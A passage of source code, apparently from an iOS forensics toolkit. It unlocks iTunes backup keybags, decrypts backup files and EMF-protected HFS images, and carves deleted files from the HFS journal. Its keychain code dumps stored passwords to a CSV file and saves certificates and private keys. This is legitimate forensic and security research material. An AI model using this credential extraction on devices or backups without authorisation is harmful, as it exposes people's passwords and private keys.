38 | self.setForeground(0, QtGui.QBrush(QtGui.QColor(255, 80, 80)))
39 | self.setBackground(0, QtGui.QBrush(QtGui.QColor(255, 230, 230)))
40 | self.setBackground(1, QtGui.QBrush(QtGui.QColor(255, 230, 230)))
41 |
42 | class KeychainWindow(QtGui.QWidget):
43 | def __init__(self, parent=None):
44 | QtGui.QWidget.__init__(self, parent)
45 |
46 | self.setGeometry(100, 100, 800, 400)
47 | self.setWindowTitle('Keychain Explorer')
48 |
49 | self.passwordTree = KeychainTreeWidget(parent=self)
50 |
51 | def setGenericPasswords(self, pwds):
52 | self.genericPasswords = pwds
53 |
54 | self.passwordItems = KeychainTreeWidgetItem('Generic Passwords')
55 |
56 | for pwd in self.genericPasswords:
57 | if not pwd.has_key('acct'):
58 | continue
59 | if len(pwd['acct']) > 0:
60 | item_title = '%s (%s)' % (pwd['svce'], pwd['acct'])
61 | else:
62 | item_title = pwd['svce']
63 |
64 | if pwd['data'] is None:
65 | item = LockedKeychainTreeWidgetItem(item_title)
66 | else:
67 | item = KeychainTreeWidgetItem(item_title)
68 |
69 | item.addChild(QtGui.QTreeWidgetItem(['Service', pwd['svce']]))
70 | item.addChild(QtGui.QTreeWidgetItem(['Account', pwd['acct']]))
71 | if pwd['data'] is not None:
72 | item.addChild(QtGui.QTreeWidgetItem(['Data', pwd['data']]))
73 | else:
74 | item.addChild(QtGui.QTreeWidgetItem(['Data', 'N/A']))
75 | item.addChild(QtGui.QTreeWidgetItem(['Access Group', pwd['agrp']]))
76 |
77 | self.passwordItems.addChild(item)
78 |
79 | self.passwordTree.addTopLevelItem(self.passwordItems)
80 |
81 | self.passwordTree.expandAll()
82 | self.passwordTree.resizeColumnToContents(0)
83 |
84 | def setInternetPasswords(self, pwds):
85 | self.internetPasswords = pwds
86 |
87 | self.internetPasswordItems = KeychainTreeWidgetItem('Internet Passwords')
88 |
89 | for pwd in pwds:
90 | item_title = '%s (%s)' % (pwd['srvr'], pwd['acct'])
91 |
92 | item = KeychainTreeWidgetItem(item_title)
93 |
94 | item.addChild(QtGui.QTreeWidgetItem(['Server', pwd['srvr']]))
95 | item.addChild(QtGui.QTreeWidgetItem(['Account', pwd['acct']]))
96 | if pwd['data'] is not None:
97 | item.addChild(QtGui.QTreeWidgetItem(['Data', pwd['data']]))
98 | else:
99 | item.addChild(QtGui.QTreeWidgetItem(['Data', 'N/A']))
100 |
101 | item.addChild(QtGui.QTreeWidgetItem(['Port', str(pwd['port'])]))
102 | item.addChild(QtGui.QTreeWidgetItem(['Access Group', pwd['agrp']]))
103 |
104 | self.internetPasswordItems.addChild(item)
105 |
106 | self.passwordTree.addTopLevelItem(self.internetPasswordItems)
107 |
108 | self.passwordTree.expandAll()
109 | self.passwordTree.resizeColumnToContents(0)
110 |
111 | def warn(msg):
112 | print "WARNING: %s" % msg
113 |
114 | def getBackupKeyBag(backupfolder, passphrase):
115 | manifest = readPlist(backupfolder + "/Manifest.plist")
116 |
117 | kb = Keybag(manifest["BackupKeyBag"].data)
118 |
119 | if kb.unlockBackupKeybagWithPasscode(passphrase):
120 | print "BackupKeyBag unlock OK"
121 | return kb
122 | else:
123 | return None
124 |
125 | def main():
126 | app = QtGui.QApplication(sys.argv)
127 | init_path = "{0:s}/Apple Computer/MobileSync/Backup".format(os.getenv('APPDATA'))
128 | dirname = QtGui.QFileDialog.getExistingDirectory(None, "Select iTunes backup directory", init_path)
129 | kb = getBackupKeyBag(dirname, 'pouet') #XXX: hardcoded password for demo
130 | if not kb:
131 | warn("Backup keybag unlock fail : wrong passcode?")
132 | return
133 | db = MBDB(dirname)
134 | db.keybag = kb
135 | filename, record = db.get_file_by_name("keychain-backup.plist")
136 | keychain_data = db.read_file(filename, record)
137 |
138 | f = file('keychain.tmp', 'wb')
139 | f.write(keychain_data)
140 | f.close()
141 |
142 | kc = Keychain4('keychain.tmp', kb)
143 |
144 | pwds = kc.get_passwords()
145 | inet_pwds = kc.get_inet_passwords()
146 |
147 | qb = KeychainWindow()
148 | qb.setGenericPasswords(pwds)
149 | qb.setInternetPasswords(inet_pwds)
150 | qb.show()
151 |
152 | sys.exit(app.exec_())
153 | pass
154 |
155 | if __name__ == '__main__':
156 | main()
157 |
--------------------------------------------------------------------------------
/python_scripts/backups/backup4.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 | from hashlib import sha1
3 | from struct import unpack
4 | import os
5 |
6 | MBDB_SIGNATURE = 'mbdb\x05\x00'
7 |
8 | MASK_SYMBOLIC_LINK = 0xa000
9 | MASK_REGULAR_FILE = 0x8000
10 | MASK_DIRECTORY = 0x4000
11 |
12 | def warn(msg):
13 | print "WARNING: %s" % msg
14 |
15 | class MBFileRecord(object):
16 | def __init__(self, mbdb):
17 | self.domain = self._decode_string(mbdb)
18 | if self.domain is None:
19 | warn("Domain name missing from record")
20 |
21 | self.path = self._decode_string(mbdb)
22 | if self.path is None:
23 | warn("Relative path missing from record")
24 |
25 | self.target= self._decode_string(mbdb) # for symbolic links
26 |
27 | self.digest = self._decode_string(mbdb)
28 | self.encryption_key = self._decode_data(mbdb)
29 |
30 | data = mbdb.read(40) # metadata, fixed size
31 |
32 | self.mode, = unpack('>H', data[0:2])
33 | if not(self.is_regular_file() or self.is_symbolic_link() or self.is_directory()):
34 | print self.mode
35 | warn("File type mising from record mode")
36 |
37 | if self.is_symbolic_link() and self.target is None:
38 | warn("Target required for symblolic links")
39 |
40 | self.inode_number = unpack('>Q', data[2:10])
41 | self.user_id, = unpack('>I', data[10:14])
42 | self.group_id = unpack('>I', data[14:18])
43 | self.last_modification_time, = unpack('>i', data[18:22])
44 | self.last_status_change_time, = unpack('>i', data[22:26])
45 | self.birth_time, = unpack('>i', data[26:30])
46 | self.size, = unpack('>q', data[30:38])
47 |
48 | if self.size != 0 and not self.is_regular_file():
49 | warn("Non-zero size for a record which is not a regular file")
50 |
51 | self.protection_class = ord(data[38])
52 |
53 | num_attributes = ord(data[39])
54 | if num_attributes == 0:
55 | self.extended_attributes = None
56 | else:
57 | self.extended_attributes = {}
58 | for i in xrange(num_attributes):
59 | k = self._decode_string(mbdb)
60 | v = self._decode_data(mbdb)
61 | self.extended_attributes[k] = v
62 |
63 | def _decode_string(self, s):
64 | s_len, = unpack('>H', s.read(2))
65 | if s_len == 0xffff:
66 | return None
67 | return s.read(s_len)
68 |
69 | def _decode_data(self, s):
70 | return self._decode_string(s)
71 |
72 | def type(self):
73 | return self.mode & 0xf000
74 |
75 | def is_symbolic_link(self):
76 | return self.type() == MASK_SYMBOLIC_LINK
77 |
78 | def is_regular_file(self):
79 | return self.type() == MASK_REGULAR_FILE
80 |
81 | def is_directory(self):
82 | return self.type() == MASK_DIRECTORY
83 |
84 | class MBDB(object):
85 | def __init__(self, path):
86 | self.files = {}
87 | self.backup_path = path
88 | self.keybag = None
89 | # open the database
90 | mbdb = file(path + '/Manifest.mbdb', 'rb')
91 |
92 | # skip signature
93 | signature = mbdb.read(len(MBDB_SIGNATURE))
94 | if signature != MBDB_SIGNATURE:
95 | raise Exception("Bad mbdb signature")
96 | try:
97 | while True:
98 | rec = MBFileRecord(mbdb)
99 | fn = rec.domain + "-" + rec.path
100 | sb = sha1(fn).digest().encode('hex')
101 | if len(sb) % 2 == 1:
102 | sb = '0'+sb
103 | self.files[sb] = rec
104 | except:
105 | mbdb.close()
106 |
107 | def get_file_by_name(self, filename):
108 | for (k, v) in self.files.iteritems():
109 | if v.path == filename:
110 | return (k, v)
111 | return None
112 |
113 | def extract_backup(self, output_path):
114 | for record in self.files.values():
115 | # create directories if they do not exist
116 | # makedirs throw an exception, my code is ugly =)
117 | if record.is_directory():
118 | try:
119 | os.makedirs(output_path + '/' + record.path)
120 | except:
121 | pass
122 |
123 | for (filename, record) in self.files.items():
124 | # skip directories
125 | if record.is_directory():
126 | continue
127 | self.extract_file(filename, record, output_path)
128 |
129 | def extract_file(self, filename, record, output_path):
130 | # adjust output file name
131 | if record.is_symbolic_link():
132 | out_file = record.target
133 | else:
134 | out_file = record.path
135 |
136 | file_data = self.read_file(filename, record)
137 | # write output file
138 | if file_data:
139 | print("Writing %s" % out_file)
140 | f = file(output_path + '/' + out_file, 'wb')
141 | f.write(file_data)
142 | f.close()
143 |
144 | def read_file(self, filename, record):
145 | # read backup file
146 | try:
147 | f = file(self.backup_path + '/' + filename, 'rb')
148 | file_data = f.read()
149 | f.close()
150 | except(IOError):
151 | warn("File %s (%s) has not been found" % (filename, record.path))
152 | return
153 |
154 | if record.encryption_key is not None and self.keybag: # file is encrypted!
155 | key = self.keybag.unwrapKeyForClass(record.protection_class, record.encryption_key[4:])
156 | if not key:
157 | warn("Cannot unwrap key")
158 | return
159 | c = AES.new(key, AES.MODE_CBC)
160 | file_data = c.decrypt(file_data)
161 | padding = file_data[record.size:]
162 | if len(padding) > AES.block_size or padding != chr(len(padding)) * len(padding):
163 | warn("Incorrect padding for file %s" % record.path)
164 | file_data = file_data[:record.size]
165 | return file_data
166 |
167 |
--------------------------------------------------------------------------------
/emf_decrypter/emf/emf_decrypter.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include "emf.h"
11 |
12 | char endianness;
13 |
14 | void TestByteOrder()
15 | {
16 | short int word = 0x0001;
17 | char *byte = (char *) &word;
18 | endianness = byte[0] ? IS_LITTLE_ENDIAN : IS_BIG_ENDIAN;
19 | }
20 |
21 | void iv_for_lba(uint32_t lba, uint32_t* iv)
22 | {
23 | int i;
24 | for(i = 0; i < 4; i++)
25 | {
26 | if(lba & 1)
27 | lba = 0x80000061 ^ (lba >> 1);
28 | else
29 | lba = lba >> 1;
30 | iv[i] = lba;
31 | }
32 | }
33 |
34 | int EMF_unwrap_filekey_forclass(EMFInfo* emf, uint8_t* wrapped_file_key, uint32_t protection_class_id, AES_KEY* file_key)
35 | {
36 | uint8_t fk[32]={0};
37 |
38 | if (protection_class_id < 1 || protection_class_id >= MAX_CLASS_KEYS)
39 | return -1;
40 |
41 | if ((emf->classKeys_bitset & (1 << protection_class_id)) == 0)
42 | {
43 | printf("Class key %d not available\n", protection_class_id);
44 | return -1;
45 | }
46 |
47 | if(AES_unwrap_key(&(emf->classKeys[protection_class_id-1]), NULL, fk, wrapped_file_key, 40)!= 32)
48 | {
49 | fprintf(stderr, "EMF_unwrap_filekey_forclass unwrap FAIL, protection_class_id=%d\n", protection_class_id);
50 | return -1;
51 | }
52 | AES_set_decrypt_key(fk, 32*8, file_key);
53 |
54 | return 0;
55 | }
56 |
57 | void EMF_fix_and_decrypt_block(EMFInfo* emf, uint8_t* buffer, uint32_t lba, uint32_t blockSize, AES_KEY* filekey)
58 | {
59 | uint32_t volumeOffset = emf->volume_offset;
60 | uint32_t iv[4];
61 |
62 | //reencrypt with emf key to get correct ciphertext
63 | iv_for_lba(volumeOffset + lba, iv);
64 | AES_cbc_encrypt(buffer, buffer, blockSize, &(emf->emfkey), (uint8_t*) iv, AES_ENCRYPT);
65 |
66 | //decrypt with file key
67 | iv_for_lba(volumeOffset + lba, iv);
68 | AES_cbc_encrypt(buffer, buffer, blockSize, filekey, (uint8_t*) iv, AES_DECRYPT);
69 | }
70 |
71 | int EMF_decrypt_file_blocks(EMFInfo* emf, HFSPlusCatalogFile* file, uint8_t* wrapped_file_key, uint32_t protection_class)
72 | {
73 | AES_KEY filekey;
74 |
75 | if( EMF_unwrap_filekey_forclass(emf, wrapped_file_key, protection_class, &filekey))
76 | {
77 | return -1;
78 | }
79 |
80 | io_func* io = openRawFile(file->fileID, &file->dataFork, (HFSPlusCatalogRecord*)file, emf->volume);
81 | if(io == NULL)
82 | {
83 | fprintf(stderr, "openRawFile %d FAIL!\n", file->fileID);
84 | return -1;
85 | }
86 | RawFile* rawFile = (RawFile*) io->data;
87 | Extent* extent = rawFile->extents;
88 | uint32_t blockSize = emf->volume->volumeHeader->blockSize;
89 | uint32_t i;
90 | uint8_t* buffer = malloc(blockSize);
91 |
92 | if(buffer == NULL)
93 | return -1;
94 |
95 | //decrypt all blocks in all extents
96 | //the last block can contain stuff from erased files maybe ?
97 | while( extent != NULL)
98 | {
99 | for(i=0; i < extent->blockCount; i++)
100 | {
101 | if(READ(emf->volume->image, (extent->startBlock + i) * blockSize, blockSize, buffer))
102 | {
103 | EMF_fix_and_decrypt_block(emf, buffer, extent->startBlock + i, blockSize, &filekey);
104 |
105 | //write back to image
106 | WRITE(emf->volume->image, (extent->startBlock + i) * blockSize, blockSize, buffer);
107 | }
108 | }
109 | extent = extent->next;
110 | }
111 |
112 | free(buffer);
113 | return 0;
114 | }
115 |
116 | int EMF_decrypt_folder(EMFInfo* emf, HFSCatalogNodeID folderID)
117 | {
118 | CatalogRecordList* list;
119 | CatalogRecordList* theList;
120 | HFSPlusCatalogFolder* folder;
121 | HFSPlusCatalogFile* file;
122 | char* name;
123 | cprotect_xattr_v2* cprotect_xattr;
124 | uint8_t* wrapped_file_key;
125 |
126 | theList = list = getFolderContents(folderID, emf->volume);
127 |
128 | while(list != NULL)
129 | {
130 | name = unicodeToAscii(&list->name);
131 |
132 | if(list->record->recordType == kHFSPlusFolderRecord)
133 | {
134 | folder = (HFSPlusCatalogFolder*)list->record;
135 | EMF_decrypt_folder(emf, folder->folderID);
136 | }
137 | else if(list->record->recordType == kHFSPlusFileRecord)
138 | {
139 | file = (HFSPlusCatalogFile*)list->record;
140 |
141 | size_t attr_len = getAttribute(emf->volume, file->fileID, "com.apple.system.cprotect", (uint8_t**) &cprotect_xattr);
142 |
143 | if(cprotect_xattr != NULL && attr_len > 0)
144 | {
145 | if (cprotect_xattr->xattr_major_version == 2 && attr_len == CPROTECT_V2_LENGTH)
146 | {
147 | printf("Decrypting %s\n", name);
148 | if(!EMF_decrypt_file_blocks(emf, file, cprotect_xattr->persistent_key, cprotect_xattr->persistent_class))
149 | {
150 | //TODO HAX: update cprotect xattr version field (bit1) to mark file as decrypted ?
151 | //cprotect_xattr->version |= 1;
152 | //setAttribute(volume, file->fileID, "com.apple.system.cprotect", (uint8_t*) cprotect_xattr, CPROTECT_V2_LENGTH);
153 | }
154 | }
155 | else if (cprotect_xattr->xattr_major_version == 4 && attr_len == CPROTECT_V4_LENGTH)
156 | {
157 | //not just yet :)
158 | }
159 | else if (cprotect_xattr->xattr_major_version & 1)
160 | {
161 | //TODO: file already decrypted by this tool ?
162 | }
163 | else
164 | {
165 | fprintf(stderr, "Unknown cprotect xattr version/length : %x/%zx\n", cprotect_xattr->xattr_major_version, attr_len);
166 | }
167 | }
168 | }
169 |
170 | free(name);
171 | list = list->next;
172 | }
173 | releaseCatalogRecordList(theList);
174 | }
175 |
176 | int main(int argc, const char *argv[]) {
177 | io_func* io;
178 | Volume* volume;
179 |
180 | TestByteOrder();
181 |
182 | if(argc < 2) {
183 | printf("usage: %s \n", argv[0]);
184 | return 0;
185 | }
186 |
187 | io = openFlatFile(argv[1]);
188 |
189 | if(io == NULL) {
190 | fprintf(stderr, "error: Cannot open image-file.\n");
191 | return 1;
192 | }
193 |
194 | volume = openVolume(io);
195 | if(volume == NULL) {
196 | fprintf(stderr, "error: Cannot open volume.\n");
197 | CLOSE(io);
198 | return 1;
199 | }
200 | printf("WARNING ! This tool will modify the hfs image and possibly wreck it if something goes wrong !\n"
201 | "Make sure to backup the image before proceeding\n");
202 | printf("Press a key to continue or CTRL-C to abort\n");
203 | getchar();
204 |
205 | char* dir = dirname((char*)argv[1]);
206 | EMFInfo* emf = EMF_init(volume, dir);
207 |
208 | if(emf != NULL)
209 | {
210 | EMF_decrypt_folder(emf, kHFSRootFolderID);
211 | }
212 |
213 | closeVolume(volume);
214 | CLOSE(io);
215 |
216 | return 0;
217 | }
218 |
--------------------------------------------------------------------------------
/python_scripts/keychain/keychain.py:
--------------------------------------------------------------------------------
1 | from store import PlistKeychain, SQLiteKeychain
2 | from util import write_file
3 | from util.bplist import BPlistReader
4 | from util.cert import RSA_KEY_DER_to_PEM
5 | import M2Crypto
6 | import hashlib
7 | import plistlib
8 | import sqlite3
9 | import string
10 |
11 | printset = set(string.printable)
12 |
13 | def render_password(p):
14 | data = p["data"]
15 | if data != None and data.startswith("bplist") and data.find("\x00") != -1:
16 | pl = BPlistReader.plistWithString(p["data"])
17 | filename = "%s_%s_%d.plist" % (p["svce"],p["acct"],p["rowid"])
18 | plistlib.writePlist(pl, filename)
19 | #write_file("bin_"+filename, p["data"])
20 | data = filename
21 |
22 | if p.has_key("srvr"):
23 | return "%s:%d;%s;%s" % (p["srvr"],p["port"],p["acct"],data)
24 | else:
25 | return "%s;%s;%s" % (p["svce"],p["acct"],data)
26 |
27 | class Keychain(object):
28 | def __init__(self, filename):
29 | magic = open(filename, "rb").read(16)
30 | if magic.startswith("SQLite"):
31 | self.store = SQLiteKeychain(filename)
32 | elif magic.startswith("bplist"):
33 | self.store = PlistKeychain(filename)
34 | else:
35 | raise Exception("Unknown keychain format for %s" % filename)
36 | self.bsanitize = True
37 | self.items = {"genp": None, "inet": None, "cert": None, "keys": None}
38 |
39 | def decrypt_data(self, data):
40 | return data #override this method
41 |
42 | def decrypt_item(self, res):
43 | res["data"] = self.decrypt_data(res["data"])
44 | if not res["data"]:
45 | return {}
46 | return res
47 |
48 | def get_items(self, table):
49 | if self.items[table]:
50 | return self.items[table]
51 | self.items[table] = filter(lambda x:x!={}, map(self.decrypt_item, self.store.get_items(table)))
52 | return self.items[table]
53 |
54 | def get_passwords(self):
55 | return self.get_items("genp")
56 |
57 | def get_inet_passwords(self):
58 | return self.get_items("inet")
59 |
60 | def get_keys(self):
61 | return self.get_items("keys")
62 |
63 | def get_cert(self):
64 | return self.get_items("cert")
65 |
66 | def get_certs(self):
67 | certs = {}
68 | pkeys = {}
69 | keys = self.get_keys()
70 | for row in self.get_cert():
71 | cert = M2Crypto.X509.load_cert_der_string(row["data"])
72 | subject = cert.get_subject().as_text()
73 | common_name = cert.get_subject().get_entries_by_nid(M2Crypto.X509.X509_Name.nid['CN'])
74 | if len(common_name):
75 | subject = str(common_name[0].get_data())
76 | else:
77 | subject = "cn_unknown_%d" % row["rowid"]
78 | certs[subject+ "_%s" % row["agrp"]] = cert
79 |
80 | for k in keys:
81 | if k["agrp"] == row["agrp"] and k["klbl"] == row["pkhh"]:
82 | pkey_der = k["data"]
83 | pkey_der = RSA_KEY_DER_to_PEM(pkey_der)
84 | pkeys[subject + "_%s" % row["agrp"]] = pkey_der
85 | break
86 |
87 | return certs, pkeys
88 |
89 |
90 | def save_passwords(self):
91 | passwords = "\n".join(map(render_password, self.get_passwords()))
92 | inetpasswords = "\n".join(map(render_password, self.get_inet_passwords()))
93 | print "Writing passwords to keychain.csv"
94 | write_file("keychain.csv", "Passwords;;\n"+passwords+"\nInternet passwords;;\n"+ inetpasswords)
95 |
96 | def save_certs_keys(self):
97 | certs, pkeys = self.get_certs()
98 | for c in certs:
99 | filename = c + ".crt"
100 | print "Saving certificate %s" % filename
101 | certs[c].save_pem(filename)
102 | for k in pkeys:
103 | filename = k + ".key"
104 | print "Saving key %s" % filename
105 | write_file(filename, pkeys[k])
106 |
107 | def sanitize(self, pw):
108 | if pw.startswith("bplist"):
109 | return ""
110 | elif not set(pw).issubset(printset):
111 | pw = " : " + pw.encode("hex")
112 | if self.bsanitize:
113 | return pw[:2] + ("*" * (len(pw) - 2))
114 | return pw
115 |
116 | def print_all(self, sanitize=True):
117 | self.bsanitize = sanitize
118 | print "-"*60
119 | print " " * 20 + "Passwords"
120 | print "-"*60
121 |
122 | for p in self.get_passwords():
123 | print "Service :\t" + p["svce"]
124 | print "Account :\t" + str(p["acct"])
125 | print "Password :\t" + self.sanitize(p["data"])
126 | print "Agrp :\t" + p["agrp"]
127 | print "-"*60
128 |
129 | for p in self.get_inet_passwords():
130 | print "Server : \t" + p["srvr"] + ":" + str(p["port"])
131 | print "Account : \t" + str(p["acct"])
132 | print "Password : \t" + self.sanitize(p["data"])
133 | print "-"*60
134 |
135 | certs, pkeys = self.get_certs()
136 |
137 | print " " * 20 + "Certificates"
138 | print "-"*60
139 | for c in sorted(certs.keys()):
140 | print c
141 |
142 | print "-"*60
143 | print " " * 20 + "Private keys"
144 |
145 | for k in sorted(pkeys.keys()):
146 | print k
147 | print "-"*60
148 |
149 | def get_push_token(self):
150 | for p in self.get_passwords():
151 | if p["svce"] == "push.apple.com":
152 | return p["data"]
153 |
154 | def get_managed_configuration(self):
155 | for p in self.get_passwords():
156 | if p["acct"] == "Private" and p["svce"] == "com.apple.managedconfiguration" and p["agrp"] == "apple":
157 | return BPlistReader.plistWithString(p["data"])
158 |
159 | def _diff(self, older, res, func, key):
160 | res.setdefault(key, [])
161 | current = func(self)
162 | for p in func(older):
163 | if not p in current and not p in res[key]:
164 | res[key].append(p)
165 |
166 | def diff(self, older, res):
167 | self._diff(older, res, Keychain.get_passwords, "genp")
168 | self._diff(older, res, Keychain.get_inet_passwords, "inet")
169 | self._diff(older, res, Keychain.get_cert, "cert")
170 | self._diff(older, res, Keychain.get_keys, "keys")
171 |
--------------------------------------------------------------------------------
/python_scripts/hfs/journal.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 | from Crypto.Cipher import AES
3 | from emf import cprotect_xattr, cprotect4_xattr, EMFFile
4 | from structs import *
5 | from util import write_file
6 |
7 | """
8 | Implementation of the following paper :
9 | Using the HFS+ Journal For Deleted File Recovery. Aaron Burghardt, Adam Feldman. DFRWS 2008
10 | http://www.dfrws.org/2008/proceedings/p76-burghardt.pdf
11 | http://www.dfrws.org/2008/proceedings/p76-burghardt_pres.pdf
12 | """
13 |
14 | def carveBtreeNode(node, kClass, dClass):
15 | try:
16 | btnode = BTNodeDescriptor.parse(node)
17 |
18 | if btnode.kind == kBTLeafNode:
19 | off = BTNodeDescriptor.sizeof()
20 | recs = []
21 | offsets = Array(btnode.numRecords, UBInt16("off")).parse(node[-2*btnode.numRecords:])
22 | for i in xrange(btnode.numRecords):
23 | off = offsets[btnode.numRecords-i-1]
24 | k = kClass.parse(node[off:])
25 | off += 2 + k.keyLength
26 | d = dClass.parse(node[off:])
27 | recs.append((k,d))
28 | return recs
29 | return []
30 | except:
31 | return []
32 |
33 | """
34 | for standard HFS volumes
35 | """
36 | def carveHFSVolumeJournal(volume):
37 | journal = volume.readJournal()
38 | hdr = journal_header.parse(journal)
39 | sector_size = hdr.jhdr_size
40 | nodeSize = volume.catalogTree.nodeSize
41 |
42 | f={}
43 | for i in xrange(0,len(journal), sector_size):
44 | for k,v in carveBtreeNode(journal[i:i+nodeSize],HFSPlusCatalogKey, HFSPlusCatalogData):
45 | if v.recordType == kHFSPlusFileRecord:
46 | name = getString(k)
47 | h = hashlib.sha1(HFSPlusCatalogKey.build(k)).digest()
48 | if f.has_key(h):
49 | continue
50 | if volume.catalogTree.searchByCNID(v.data.fileID) == (None, None):
51 | if volume.isBlockInUse(v.data.dataFork.HFSPlusExtentDescriptor[0].startBlock) == False:
52 | print "deleted file", v.data.fileID, name
53 | fileid = v.data.fileID
54 | f[h]=(name, v)
55 | return f.values()
56 |
57 |
58 | magics=["SQLite", "bplist", "= 4:
80 | cprotect_struct_type = cprotect4_xattr
81 |
82 | for i in xrange(0,len(journal),sector_size):
83 | for k,v in carveBtreeNode(journal[i:i+nodeSize],HFSPlusCatalogKey, HFSPlusCatalogData):
84 | if v.recordType == kHFSPlusFileRecord:
85 | name = getString(k)
86 | h = hashlib.sha1(HFSPlusCatalogKey.build(k)).digest()
87 | if files.has_key(h):
88 | continue
89 | if volume.catalogTree.searchByCNID(v.data.fileID) == (None, None):
90 | #we only keep files where the first block is not marked as in use
91 | if volume.isBlockInUse(v.data.dataFork.HFSPlusExtentDescriptor[0].startBlock) == False:
92 | print "Found deleted file record", v.data.fileID, name
93 | files[h] = (name,v)
94 | for k,v in carveBtreeNode(journal[i:i+nodeSize],HFSPlusAttrKey, HFSPlusAttrData):
95 | if getString(k) == "com.apple.system.cprotect":
96 | if volume.catalogTree.searchByCNID(k) == (None, None):
97 | filekeys = keys.setdefault(k.fileID, [])
98 | try:
99 | cprotect = cprotect_struct_type.parse(v.data)
100 | except:
101 | continue
102 | #assert cprotect.xattr_major_version == 2
103 | filekey = volume.keystore.unwrapKeyForClass(cprotect.persistent_class, cprotect.persistent_key)
104 | if filekey and not filekey in filekeys:
105 | print "Found key for file", k.fileID
106 | filekeys.append(filekey)
107 |
108 | return files.values(), keys
109 |
110 | """
111 | "bruteforce" method, tries to decrypt all unallocated blocks with provided file keys
112 | this is a hack, don't expect interesting results with this
113 | """
114 | def carveEMFemptySpace(volume, file_keys, outdir):
115 | for lba, block in volume.unallocatedBlocks():
116 | iv = volume.ivForLBA(lba)
117 | for filekey in file_keys:
118 | ciphertext = AES.new(volume.emfkey, AES.MODE_CBC, iv).encrypt(block)
119 | clear = AES.new(filekey, AES.MODE_CBC, iv).decrypt(ciphertext)
120 | if isDecryptedCorrectly(clear):
121 | print "Decrypted stuff at lba %x" % lba
122 | open(outdir+ "/%x.bin" % lba, "wb").write(clear)
123 |
124 |
125 | def do_emf_carving(volume, carveokdir, carvenokdir):
126 | deletedFiles, filekeys = carveEMFVolumeJournal(volume)
127 |
128 | print "Journal carving done, trying to extract deleted files"
129 | n = 0
130 | for name, vv in deletedFiles:
131 | for filekey in filekeys.get(vv.data.fileID, []):
132 | ff = EMFFile(volume,vv.data.dataFork, vv.data.fileID, filekey, deleted=True)
133 | data = ff.readAllBuffer()
134 | if isDecryptedCorrectly(data):
135 | write_file(carveokdir + "%s_%s" % (filekey.encode("hex")[:8],name.replace("/","_")),data)
136 | n += 1
137 | else:
138 | write_file(carvenokdir + "%s_%s" % (filekey.encode("hex")[:8],name.replace("/","_")),data)
139 | if not filekeys.has_key(vv.data.fileID):
140 | print "Missing file key for", name
141 | else:
142 | del filekeys[vv.data.fileID]
143 |
144 | print "Done, extracted %d files" % n
145 |
146 | if False:
147 | fks = set(reduce(lambda x,y: x+y, filekeys.values()))
148 | print "%d file keys left, try carving empty space (slow) ? CTRL-C to exit" % len(fks)
149 | raw_input()
150 | carveEMFemptySpace(volume, fks)
--------------------------------------------------------------------------------
/ramdisk_tools/bsdcrypto/sha1.c:
--------------------------------------------------------------------------------
1 | /* $OpenBSD: sha1.c,v 1.9 2011/01/11 15:50:40 deraadt Exp $ */
2 |
3 | /*
4 | * SHA-1 in C
5 | * By Steve Reid
6 | * 100% Public Domain
7 | *
8 | * Test Vectors (from FIPS PUB 180-1)
9 | * "abc"
10 | * A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
11 | * "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
12 | * 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
13 | * A million repetitions of "a"
14 | * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
15 | */
16 |
17 | /* #define LITTLE_ENDIAN * This should be #define'd already, if true. */
18 | /* #define SHA1HANDSOFF * Copies data before messing with it. */
19 |
20 | #define SHA1HANDSOFF
21 |
22 | #include
23 | #include
24 |
25 | #include "sha1.h"
26 |
27 | #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
28 |
29 | /* blk0() and blk() perform the initial expand. */
30 | /* I got the idea of expanding during the round function from SSLeay */
31 | #if BYTE_ORDER == LITTLE_ENDIAN
32 | #define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \
33 | |(rol(block->l[i],8)&0x00FF00FF))
34 | #else
35 | #define blk0(i) block->l[i]
36 | #endif
37 | #define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
38 | ^block->l[(i+2)&15]^block->l[i&15],1))
39 |
40 | /* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
41 | #define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30);
42 | #define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
43 | #define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
44 | #define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
45 | #define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
46 |
47 | /* Hash a single 512-bit block. This is the core of the algorithm. */
48 |
49 | void
50 | SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH])
51 | {
52 | u_int32_t a, b, c, d, e;
53 | typedef union {
54 | unsigned char c[64];
55 | unsigned int l[16];
56 | } CHAR64LONG16;
57 | CHAR64LONG16* block;
58 | #ifdef SHA1HANDSOFF
59 | unsigned char workspace[SHA1_BLOCK_LENGTH];
60 |
61 | block = (CHAR64LONG16 *)workspace;
62 | bcopy(buffer, block, SHA1_BLOCK_LENGTH);
63 | #else
64 | block = (CHAR64LONG16 *)buffer;
65 | #endif
66 | /* Copy context->state[] to working vars */
67 | a = state[0];
68 | b = state[1];
69 | c = state[2];
70 | d = state[3];
71 | e = state[4];
72 |
73 | /* 4 rounds of 20 operations each. Loop unrolled. */
74 | R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
75 | R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
76 | R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
